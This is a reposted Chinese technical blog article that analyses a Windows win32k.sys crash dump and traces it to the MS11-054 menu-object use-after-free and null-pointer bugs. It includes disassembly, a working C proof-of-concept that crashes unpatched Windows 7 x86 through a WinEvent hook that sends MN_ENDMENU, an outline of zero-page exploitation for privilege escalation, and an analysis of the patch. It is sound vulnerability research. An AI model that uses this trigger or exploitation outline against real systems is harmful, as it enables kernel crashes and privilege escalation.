您的位置:首页 > 其它

从Dump到POC系列一:Win32k内核提权漏洞分析

2013-11-30 22:07 471 查看
转载自:http://blogs.360.cn/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/


1.引言

近日有同事反馈给笔者一个win32k的蓝屏崩溃dump,说是在开发新的界面程序中遇到的。

笔者在对拿到的Minidump进行分析后,发现这是win32k.sys在处理内核的menu窗口对象中的Use-After-Free/Null-Pointer-Dereference漏洞引发的。

笔者进行进一步分析后发现,这实际是一系列2011年已经修补的win32k漏洞,微软公告编号为MS11-054,涉及8个CVE(CVE-2011-1878~CVE-2011-1885),都是由当时在挪威安全公司Norman的内核漏洞达人TarjeiMandt(@kernelpool)报告的,相关的细节未被公开过。

虽然这些都是一年多以前已经修补的漏洞,但细节从未公开过,从了解内核安全问题和win32k内部机制的目的出发,笔者还是决定将此成文,由dump分析入手,到漏洞原理剖析,再到漏洞的重现利用手法,最后到分析漏洞的影响函数、修补方式等,完整重现“由dump到POC”的全过程。


2.Dump分析

首先我们打开崩溃的dump,windbg分析可知发生的Bugcheck是:KERNEL_MODE_EXCEPTION_NOT_HANDLED_M(未处理的内核异常)

而异常代码是STATUS_ACCESS_VIOLATION(访问违例),出故障的地方位于win32k!xxxDestoryWindow+0×32,原因是访问了空指针,异常堆栈如下:

01
kd>
kb
02
ChildEBP
RetAddrArgstoChild
03
90a0fb78
95768a5c000000009584e480fe320168win32k!xxxDestroyWindow+0x32
04
90a0fbb8
95768d13000000010000000000000000win32k!xxxMNCancel+0x121
05
90a0fbd0
95769de69584e480fe52fdd89584e480win32k!xxxMNDismiss+0x12
06
90a0fbf0
9575fb939584e480fe3201689584e480win32k!xxxEndMenuLoop+0x23
07
90a0fc38
9576f71bfe3201689584e48000000000win32k!xxxMNLoop+0x3f5
08
90a0fca0
957658a50000008800004040000004e8win32k!xxxTrackPopupMenuEx+0x5cd
09
90a0fd14
83c5f42a0002022500004040000004e8win32k!NtUserTrackPopupMenuEx+0xc3
10
90a0fd14
778b64f40002022500004040000004e8nt!KiFastCallEntry+0x12a
从堆栈上可以看出是由NtUserTrackPopupMenuEx这个NT服务引发的问题,在调入封装的win32kxxxTrackPopupMenuEx函数后,进入xxxMNLoop->xxxEndMenuLoop->xxxMNDismiss->xxxMNCancel,最终进入了问题现场函数xxxDestoryWindow,这个函数顾名思义,是win32k销毁内核窗口对象的内部功能函数。

xxxDestoryWindow的故障发生在刚刚进入函数的地方,原因很容易定位,我们来看xxxDestoryWindow的故障代码:

01
kd>
uxxxDestroyWindowxxxDestroyWindow+34
02
win32k!xxxDestroyWindow:
03
956d0915
8bffmovedi,edi
04
956d0917
55pushebp
05
956d0918
8becmovebp,esp
06
956d091a
83ec34subesp,34h
07
956d091d
53pushebx
08
956d091e
8b1d58da8495movebx,dwordptr[win32k!gptiCurrent(9584da58)]
09
956d0924
8b83b4000000moveax,dwordptr[ebx+0B4h]
10
956d092a
56pushesi
11
956d092b
8b7508movesi,dwordptr[ebp+8]//setesi
12
956d092e
8945f0movdwordptr[ebp-10h],eax
13
956d0931
57pushedi
14
956d0932
8d45f0leaeax,[ebp-10h]
15
956d0935
33ffxoredi,edi
16
956d0937
8983b4000000movdwordptr[ebx+0B4h],eax
17
956d093d
8975f4movdwordptr[ebp-0Ch],esi
18
956d0940
3bf7cmpesi,edi
19
956d0942
7403jewin32k!xxxDestroyWindow+0x32(956d0947)
20
956d0944
ff4604incdwordptr[esi+4]
21
956d0947
8b16movedx,dwordptr[esi]//esi=0x00000000
代码中最后一行即是发生空指针引用的地方,esi=0×00000000,esi的来源也一目了然,它是来自xxxDestoryWindow的第一个参数,即要被销毁的窗口pwnd指针。

这么看,xxxDestoryWindow不是责任函数,那么应该是xxxMNCancel传入了空的pwnd指针导致的,我们再来看xxxMNCancel的实现,首先看看xxxMNCancel调用xxxDestoryWindow的附近代码:

1
kd>
ubxxxMNCancel+121L5
2
win32k!xxxMNCancel+0x10f:
3
95768a4a
ff7608pushdwordptr[esi+8]
4
95768a4d
6a07push7
5
95768a4f
e8e962faffcallwin32k!xxxWindowEvent(9570ed3d)
6
95768a54
ff7608pushdwordptr[esi+8]
7
95768a57
e8b97ef6ffcallwin32k!xxxDestroyWindow(956d0915)
可以看到,xxxDestoryWindow的参数来自dwordptr[esi+8],继续看下面的代码可知,esi来自xxxMNCancel的第一个参数,结构为tagPOPUPWND,这样我们可知被销毁的窗口对象指针来自tagPOPUPWND->spwndPopupMenu

01
kd>
uxxxMNCancella
02
win32k!xxxMNCancel:
03
9576893b
8bffmovedi,edi
04
9576893d
55pushebp
05
9576893e
8becmovebp,esp
06
95768940
83ec28subesp,28h
07
95768943
53pushebx
08
95768944
56pushesi
09
95768945
57pushedi
10
95768946
8b7d08movedi,dwordptr[ebp+8]
11
95768949
8b37movesi,dwordptr[edi]
12
9576894b
8b06moveax,dwordptr[esi]


3.原理分析

分析相关的代码可知,spwndPopupMenu实际上是在PopupMenu对象中的指向其属于的Menu窗口对象的指针。为了理解为何这里会遇到空的Menu对象指针,我们首先研究下Menu/PopupMenu对象之间的关系和形成机理。

通过研究win32k的内部机制可知,在win32k中,不同类型的窗口对象的扩展数据(WndExtra)是附加在标准窗口对象结构后面的,而对于Menu窗口对象(tagMENUWND结构),附加在其后的是指向其PopupMenu对象的指针(PPOPUPMENU,即tagPOPUPMENU结构),而我们这里遇到的spwndPopupMenu就是在tagPOPUPMENU结构中,指回其所属的Menu窗口对象的指针

1
0:
kd>dttagPOPUPMENU-dspwndPopupMenu
2
win32k!tagPOPUPMENU
3
+0x008
spwndPopupMenu:Ptr32tagWND
对于Menu窗口对象,分配tagPOPUPMENU并填充到tagMENUWND的工作,是在xxxMenuWindowProc这个函数内,响应窗口创建时产生的WM_NCCREATE消息时完成的。

对于内核默认的窗口对象,系统会为其指定专门的内核窗口消息处理函数来实现特定的功能,而xxxMenuWindowProc就是专为响应Menu窗口对象的窗口消息的函数,当ring3代码调用SendMessage->NtUserMessageCall发送消息给Menu窗口,或者ring0调用xxxSendMessage发送消息给Menu窗口时,都会通过FNID函数封装后最终调用到这些内核处理函数。这个函数对于内核对Menu窗口对象的管理来说非常重要,后面我们还会说到它。

通过IDA反汇编xxxMenuWindowProc函数中对WM_NCCREATE消息的处理过程我们可以看到这一点:

01
ProcWM_NCCREATE:
;CODEXREF:xxxMenuWindowProc(x,x,x,x)+179j
02
03
cmp
dwordptr[edi+(sizetagWND)],0
04
jnz
loc_BF93F24A
05
push
1
06
call
_MNAllocPopup@4;MNAllocPopup(x)
07
test
eax,eax
08
jz
loc_BF93F24A
09
mov
[edi+(sizetagWND)],eax
10
or
[eax+tagPOPUPMENU.posSelectedItem],0FFFFFFFFh
11
lea
ecx,[eax+tagPOPUPMENU.spwndPopupMenu]
12
mov
edx,edi
13
call
@HMAssignmentLock@8;HMAssignmentLock(x,x)
从代码上我们可以看到(edi为窗口对象指针),处理例程首先判断tagWND附加数据(edi+标准窗口结构长度)的pPopupMenu对象指针是否为空,如果为空,那么就是用MNAllocPopup为Menu窗口对象创建pPopupMenu结构的内存空间(实际就是在Session内存池内分配内存并初始化结构),并将分配出来的pPopupMenu指针写入Menu窗口对象的附加数据中。

接着,再使用HMAssignmentLock,带锁地将tagPOPUPMENU.spwndPopupMenu赋值为edi,即其从属的Menu窗口对象的指针

我们再回头来看触发这个问题的函数:xxxTrackPopupMenuEx的工作原理,熟悉界面编程的朋友都知道这是用于弹出一个PopupMenu的函数,那么在内核中它是如何工作的呢,这里笔者简单列出一下大概的工作的流程:

(1).创建Menu窗口对象:根据HMENU等相关参数,创建最终弹出和展示的Menu窗口(通过xxxCreateWindowEx)

(2).分配和初始化当前线程的MenuState结构(xxxMNAllocMenuState)

(3).计算和设定Menu窗口的相关位置、属性等(通过FindBestPos/xxxSetWindowPos等)

(4).进入菜单循环,展示Menu并进入等待菜单选择的循环(xxxMNLoop),在进入循环前,会通过xxxWindowEvent来“播放”一个EVENT_SYSTEM_MENUPOPUPSTART的窗口事件,这个细节会在后面用到

(5).菜单被选择或取消,退出循环并销毁PopupMenu、Menu窗口对象和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)

在dump中,我们看到出问题的地方就在xxxMNLoop的过程中,当菜单选择被取消,xxxMNLoop会试图退出循环,调用xxxMNDismiss->xxxMNCancel来取消窗口的展现,而其中一个操作就是调用xxxDestoryWindow,来销毁pPopupMenu->spwndPopupMenu即Menu主窗口,而故障的原因就是这个指针已经被销毁并置Null了,由于销毁的代码并没有判断是否已经销毁而直接使用了指针,因此引发了崩溃。

因此,这个漏洞的本质就在于,相关的调用函数(本例中xxxTrackPopupMenuEx)没有检查对应的popupmenu结构是否已经被销毁或指针被清空了,仍然继续使用,同时在销毁和使用的代码之间(xxxMenuWindowProc与xxxTrackPopupMenuEx及其子函数),缺少有效的锁机制,导致了Use-After-Free或Null-Pointer-Dereference问题的发生。


4.重现POC

故障的基本原因清楚了,但还有一个问题是,如何Popup窗口循环结束前,让其保存的指针会被销毁呢?

当然,仅仅通过dump我们已经无法明确究竟在这个Dump的场景之下,之前是哪个逻辑调用了销毁窗口对象的功能,但通过分析Menu相关的实现代码可知,销毁的可能场景有很多,而其中最常见的也最容易触发的,就是前面将到的xxxMenuWindowProc例程中,我们看看这个例程接受MN_ENDMENU这个消息的代码:

01
ProcMN_ENDMENU:
;CODEXREF:xxxMenuWindowProc(x,x,x,x)+A1Bj
02
03
;
xxxMenuWindowProc(x,x,x,x)+A6Fj
04
;
DATAXREF:...
05
06
push
[esi+tagMENUSTATE.pGlobalPopupMenu];jumptableBF93ED60
case
499
07
push
esi
08
call
_xxxEndMenuLoop@8;xxxEndMenuLoop(x,x)
09
test
dwordptr[esi+tagMENUSTATE._bf4],MENU_STATE_MODLE_LESS
10
jz
loc_BF93F24A
11
push
TRUE
12
call
_xxxMNEndMenuState@4;xxxMNEndMenuState(x)
13
jmp
loc_BF93F24A
从代码上可以看出,当该例程接受一个MN_ENDMENU消息时,且menu状态是modelless的(通过menustate来判断),xxxMenuWindowProc就会调用xxxMNEndMenuState销毁线程的MenuState,同时也销毁和清空当前线程popupmenu相关的spwndPopupMenu对象。

也就是说,只要在TrackPopupMenuEx的流程(2)之后,流程(4)结束之前,发送MN_ENDMENU消息给Menu窗口对象,就可以触发这个问题。

了解了整个逻辑触发的原理,接下来笔者就开始尝试构造代码,在ring3重现这个问题。

刚才已经提到,重现这个的关键点,也是难点在于,如何控制在流程2到流程4之间发送销毁消息。对于ring3程序来说,流程(1)~(5)都是在TrackPopupMenuEx这一个API的调用过程中发生完的。

另外一个难点是,我们要发送消息的Menu窗口对象是内部创建的,在TrackPopupMenu完成后就销毁了,并未输出出来供我们使用。

对于难点1,如何克服?通过多线程竞争条件实现么?存在成功率问题。对于难点2呢?通过在ring3分析win32k共享内存中的全部窗口对象来实现?麻烦,又不通用。

思考了一段时间,笔者注意到了在流程(4)中提到的那个WindowEvent的“播放”,我们看看xxxTrackPopupMenu进入xxxMNLoop之前,附近的代码实现:

01
push
ebx
02
push
ebx
03
push
OBJID_CLIENT
04
push
[ebp+pwndHierarchy]
05
push
EVENT_SYSTEM_MENUPOPUPSTART
06
call
_xxxWindowEvent@20;xxxWindowEvent(x,x,x,x,x)
07
mov
eax,[edi+tagMENUSTATE._bf4]
08
mov
ecx,[ebp+var_1C]
09
push
ebx
10
push
ebx
11
and
eax,0FFFFFFF7h
12
shl
ecx,3
13
push
edi
14
or
eax,ecx
15
push
esi
16
mov
[edi+4],eax
17
call
_xxxMNLoop@16;xxxMNLoop(x,x,x,x)
可以清楚地看到,在进入xxxMNLoop之前,通过xxxWindowEvent播放了一个EVENT_SYSTEM_MENUPOPUPSTART事件,而参数中,就有我们需要的,Menu窗口对象的指针pwndHierarchy,由于INCONTEXT的WindowEvent是同步调用的,而注册针对本线程的INCONTEXTWindowEventHook无须任何特权,因此我们这里就找到了一下解决两个难点的方法:

使用SetWindowEventHook,注册针对本线程的、EVENT_SYSTEM_MENUPOPUPSTART事件的Hook,并在hook例程里直接发送窗口销毁消息。

触发问题的另外一个小问题是,如何让MenuState标记为modelless的风格,这点通过公开的APISetMenuInfo就可以做到了。

如上所说,所有的问题都解决了,那么写一个完整的程序实验一下吧:

笔者的测试系统环境:干净Win7X86,未补过KB2555917补丁(或在其后的针对win32k.sys的补丁),运行后即BSOD

测试代码如下(GUI程序):

01
#define
MN_ENDMENU0x1F3
02
03
VOID
CALLBACK
WinEventProc(HWINEVENTHOOKhWinEventHook,
DWORD
event,
HWND
hwnd,
LONG
idObject,
LONG
idChild,
DWORD
idEventThread,
DWORD
dwmsEventTime)
04
{
05
SendMessage(hwnd
,MN_ENDMENU,0,0);
06
07
return
;
08
}
09
10
void
xxxMenu()
11
{
12
HWND
hwnd
=GetForegroundWindow();
13
HMENU
hmenu
=CreatePopupMenu();
14
MENUINFO
menuinfo;
15
CHAR
name[4]
=
"AAA"
;
16
MENUITEMINFO
item;
17
18
menuinfo.cbSize
=
sizeof
(menuinfo);
19
menuinfo.fMask
=MIM_STYLE;
20
menuinfo.dwStyle
=MNS_MODELESS;
21
22
SetMenuInfo(hmenu
,&menuinfo);
23
24
item.cbSize
=
sizeof
(item);
25
item.fMask
=MIIM_STRING;
26
item.fType
=MFT_STRING;
27
item.dwTypeData
=name;
28
item.cch
=4;
29
30
InsertMenuItem(hmenu
,0,FALSE,&item);
31
32
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART
,
33
EVENT_SYSTEM_MENUPOPUPSTART
,
34
GetModuleHandle(NULL)
,
35
WinEventProc
,
36
GetCurrentProcessId(),
37
GetCurrentThreadId()
,
38
WINEVENT_INCONTEXT);
39
40
TrackPopupMenuEx(hmenu
,0,0x100,0x100,hwnd,NULL);
41
42
return
;
43
}
当然,这里笔者给出的POC仅仅构造的是引发内核访问空指针后引发内核拒绝服务,而在实际利用中,因为在xxxMNLoop中会调用xxxSendMessage发送消息给对应的pwnd窗口对象,我们可以通过分配零页内存,伪造可进行攻击的pwnd结构来稳定地实现内核任意代码执行并进行权限提升,这里笔者就不公布具体的利用代码了。


5.更深入的分析

有了稳定的触发方法后,我们就更容易深入地分析这个漏洞了,通过分析可以发现,xxxTrackPopupMenuEx/xxxMenuWindowProc中相当多的子函数调用都会触发menu或popupmenu窗口对象的问题。

这里笔者简单列出一下之前的win32k.sys中存在同样或类似情况的函数及问题:

xxxTrackPopupMenuEx->xxxMNLoop…xxxMNCancel->xxxDestroyWindow(本文中蓝屏Dump发生的案例):NullPointerDereference

xxxMenuWindowProc(处理WM_SIZE或WM_MOVE消息的代码中):NullPointerDereference

xxxMNKeyFilter:NullPointerDereference

xxxMenuWindowProc->xxxMNDoubleClick(处理MN_DBLCLK消息的代码中):UseAfterFree

xxxMenuWindowProc->xxxMNButtonDown(处理MN_BUTTONDOWN消息的代码中):UseAfterFree

xxxMenuWindowProc->xxxMNDestroyHandler(处理WM_FINALDESTROY消息的代码中):UseAfterFree

xxxMenuWindowProc->xxxCallHandleMenuMessages:UseAfterFreexxxTrackPopupMenuEx->xxxMNEndMenuState:UseAfterFree

涉及的问题代码很多,因此在MS11-054中才会有这么多漏洞是属于这一个问题的。

最后,笔者想要探究是,微软在KB2555917中是如何修复这个问题的?解开这个补丁后分析升级的文件得知(分析目标是补丁版本的win32k.sys,win7x86版本为6.1.7600.16830),微软增强了对于popupmenu/MenuState对象的lock机制和延时释放机制,修正了空指针问题:

对xxxMenuWindowProc增加了一层封装,将过去的xxxMenuWindowProc函数封装成了xxxRealMenuWindowProc,在调用前后增加Locking/Unlocking处理,新的xxxMenuWindowProc部分伪代码如下:

1
if
(
!menuroot)
2
bIsLock
=LockPopup(popupmenu);
3
++pMenuState->dwLockCount;
4
5
xxxRealMenuWindowProc((
int
)pwnd,
msg,(
HDC
)wparam,
(LPRECT)lparam,(
int
)pMenuState,
fIsRecursedMenu);
6
7
if
(
bIsLock)
8
UnlockPopup(popupmenu);
同时为了支持Lockpopupmenu机制,修改了tagPOPUPMENU结构,增加了flockDelayedFree标记,修改了tagTHREADINFO结构,增加了ppmlockFree链表。

在进入xxxRealMenuWindowProc前,会将PopupMenu加入到win32threadinfo(当前GUI线程相关结构)的LockDelayFree链表中,并将当前PopupMenu标记为DelayFree,在完成MenuWindowProc后才会UnlockPopupMenu,允许popupmenu被释放。

在线程退出调用xxxDestoryThreadInfo时,则会释放tagTHREADINFO链表中的所有PopupMenu对象

同时针对MenuState对象也增加了lock机制,对tagMENUSTATE增加了fMarkDestroy标记,并将xxxUnlockMenuState修改为对xxxUnlockMenuStateInternal的封装,并在其中实现了对fMarkDestroy的识别和延迟释放机制,防止Use-After-Free问题。

修正了若干xxxMNEndMenuState/xxxMNLoop等函数中空指针引用计数问题,解决NullPointerDereference问题。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: